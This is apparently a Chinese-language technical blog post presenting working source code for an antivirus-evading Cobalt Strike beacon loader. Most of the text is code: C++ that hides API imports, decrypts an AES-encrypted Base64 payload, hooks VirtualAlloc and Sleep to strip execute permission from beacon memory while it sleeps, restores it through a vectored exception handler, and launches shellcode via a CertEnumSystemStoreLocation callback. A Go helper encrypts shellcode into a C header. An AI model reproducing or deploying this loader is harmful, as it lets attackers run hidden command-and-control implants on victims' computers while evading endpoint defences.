目前两种对抗内存扫描比较有效的方法:
VEH + Hook
开源代码
VEH
Hook
技术文章
Timer Queues + ROP
开源代码
Timer Queues
技术文章
本文使用其中的第一种。
payload 为 Cobalt Strike 4.4 stageless beacon x64。
AES + BASE64:
https://github.com/kokke/tiny-AES-c
https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptstringtobinarya
在 sleep 时,将所有相关可执行内存去除可执行权限,sleep 结束后,继续执行触发 VEH 异常处理,在 VEH 处理函数中恢复内存可执行权限。
vcpkg 安装 minhook:
xxxxxxxxxxvcpkg install minhook:x64-windows-staticvcpkg install minhook:x86-windows-static
获取 minhook.x64.lib 和 MinHook.h。
动态调用的 API 函数名不会出现在导入表中:
xxxxxxxxxxstd::vector<void*> GetFunctionAddress(std::vector<std::pair<std::string, std::string>> name) { std::vector<void*> address; std::for_each(name.begin(), name.end(), [&](std::pair<std::string, std::string>& n) { auto handle = GetModuleHandleA(std::get<0>(n).c_str()); if (handle == NULL) { handle = LoadLibraryA(std::get<0>(n).c_str()); if (handle == NULL) address.push_back(NULL); else address.push_back(GetProcAddress(handle, std::get<1>(n).c_str())); } else address.push_back(GetProcAddress(handle, std::get<1>(n).c_str())); }); return address;}xxxxxxxxxxvoid AESCTR(uint8_t* buf, size_t size) { struct AES_ctx ctx; AES_init_ctx_iv(&ctx, &buf[0], &buf[32]); AES_CTR_xcrypt_buffer(&ctx, &buf[48], size - 48);}xxxxxxxxxxusing MyVirtualAlloc = LPVOID(WINAPI*)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);MyVirtualAlloc OldVirtualAlloc = NULL;LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); beacon_length = dwSize; return beacon_address;}
using MySleep = void (WINAPI*)(DWORD dwMilliseconds);MySleep OldSleep = NULL;void WINAPI NewSleep(DWORD dwMilliseconds) { if (dwMilliseconds <= 1000) { OldSleep(dwMilliseconds); } else { VirtualProtect(beacon_address, beacon_length, PAGE_READWRITE, &memory_protection); OldSleep(dwMilliseconds); }}VirtualAlloc:获取 beacon 加载时的内存地址和大小。
Sleep:如果 sleep 小于 1s,不修改内存属性,否则将内存属性修改为 RW。
xxxxxxxxxxLONG NTAPI Handler(EXCEPTION_POINTERS* ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && ExceptionInfo->ContextRecord->Rip > (DWORD64)beacon_address && ExceptionInfo->ContextRecord->Rip < ((DWORD64)beacon_address + beacon_length)) { VirtualProtect(beacon_address, beacon_length, PAGE_EXECUTE_READWRITE, &memory_protection); return EXCEPTION_CONTINUE_EXECUTION; } else { return EXCEPTION_CONTINUE_SEARCH; }}验证触发异常的地址是否为 beacon 地址,如果是,将内存属性修改为 RWX。
xxxxxxxxxxbool ShellcodeExecute(std::byte* buf, size_t size) { std::vector<std::pair<std::string, std::string>> name; name.push_back(std::make_pair(nostr("Kernel32"), nostr("VirtualAlloc"))); name.push_back(std::make_pair(nostr("Kernel32"), nostr("VirtualProtect"))); name.push_back(std::make_pair(nostr("Kernel32"), nostr("Sleep"))); name.push_back(std::make_pair(nostr("Crypt32"), nostr("CertEnumSystemStoreLocation"))); auto address = GetFunctionAddress(name);
AddVectoredExceptionHandler(1, &Handler); MH_Initialize(); MH_CreateHook(address.at(0), &NewVirtualAlloc, reinterpret_cast<LPVOID*>(&OldVirtualAlloc)); MH_EnableHook(address.at(0)); MH_CreateHook(address.at(2), &NewSleep, reinterpret_cast<LPVOID*>(&OldSleep)); MH_EnableHook(address.at(2)); shellcode_address = static_cast<MyVirtualAlloc>(address.at(0))(NULL, size, MEM_COMMIT, PAGE_READWRITE); std::memcpy(shellcode_address, buf, size); static_cast<MyVirtualProtect>(address.at(1))(shellcode_address, size, PAGE_EXECUTE_READ, &memory_protection); static_cast<MyCertEnumSystemStoreLocation>(address.at(3))(0, NULL, reinterpret_cast<PFN_CERT_ENUM_SYSTEM_STORE_LOCATION>(shellcode_address)); MH_Uninitialize(); return true;}首先注册 VEH 处理函数,然后 hook VirtualAlloc 和 Sleep,最后通过 CertEnumSystemStoreLocation 函数触发 shellcode 执行,此 API 中包含一处函数指针指向第三个参数的地址。
防止多次上线:
xxxxxxxxxxauto mutex = static_cast<MyCreateMutexA>(address.at(0))(NULL, FALSE, nostr("0546611251960368").c_str());if (mutex == NULL || GetLastError() == ERROR_ALREADY_EXISTS) { ExitProcess(0);}BASE64 解码:
xxxxxxxxxxDWORD size = 0;if (!static_cast<MyCryptStringToBinaryA>(address.at(1))(reinterpret_cast<LPCSTR>(std::begin(buf)), static_cast<DWORD>(std::end(buf) - std::begin(buf)), CRYPT_STRING_BASE64, NULL, &size, NULL, NULL)) { ExitProcess(0);}std::vector<std::byte> shellcode(size, std::byte{ 0 });if (!static_cast<MyCryptStringToBinaryA>(address.at(1))(reinterpret_cast<LPCSTR>(std::begin(buf)), static_cast<DWORD>(std::end(buf) - std::begin(buf)), CRYPT_STRING_BASE64, reinterpret_cast<BYTE*>(shellcode.data()), &size, NULL, NULL)) { ExitProcess(0);}AES 解密,shellcode 加载执行:
xxxxxxxxxxif (GetFilePath().wstring().find(StringToWsring(nostr("\\Kaspersky.exe"))) != std::wstring::npos) { AESCTR(reinterpret_cast<uint8_t*>(shellcode.data()), shellcode.size()); ShellcodeExecute(&shellcode[48], shellcode.size() - 48);}将 shellcode 二进制文件转换为 C++ 头文件:
xxxxxxxxxxpackage main
import ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "encoding/hex" "flag" "io/ioutil" "log" "os" "strings")
func GetRandomBytes(n int) []byte { bytes := make([]byte, n) rand.Read(bytes) return bytes}
func AES256CTR(key []byte, iv []byte, data []byte) { if len(key) != 32 && len(iv) != 16 { log.Fatalln("Check your key and iv!") }
block, err := aes.NewCipher(key) if err != nil { log.Fatalln(err) }
stream := cipher.NewCTR(block, iv) stream.XORKeyStream(data, data)}
func MakeBLOB(key []byte, iv []byte, data []byte) []byte { return append(append(key, iv...), data...)}
func BytesToC(bytes []byte) string { hex := hex.EncodeToString(bytes) n := len(hex) / 2 str := make([]string, n) c := "unsigned char buf[] = {\n"
for i := 0; i < n; { tmp := hex[i*2 : i*2+2] str[i] = tmp i = i + 1 }
if len(str) > 16 { for m := 0; m < len(str); m += 16 { if m < len(str)-16 { line := str[m : m+16] q := "0x" + strings.Join(line, ", 0x") + ",\n" c += q } else { line := str[m:] q := "0x" + strings.Join(line, ", 0x") + " };\n" c += q } } } else { q := "0x" + strings.Join(str, ", 0x") + " };\n" c += q }
return c}
func main() { input := flag.String("i", "", "input file path") output := flag.String("o", "", "output file path") flag.Parse()
data, err := os.ReadFile(*input) if err != nil { log.Println(err) log.Fatalln("Check your file name!") }
key := GetRandomBytes(32) iv := GetRandomBytes(16)
AES256CTR(key, iv, data) blob := append(append(key, iv...), data...)
b64str := make([]byte, base64.StdEncoding.EncodedLen(len(blob))) base64.StdEncoding.Encode(b64str, blob)
err = ioutil.WriteFile(*output, []byte(BytesToC(b64str)), 0666) if err != nil { log.Println(err) log.Fatalln("I can't write file!") } log.Println("file name: " + *output)}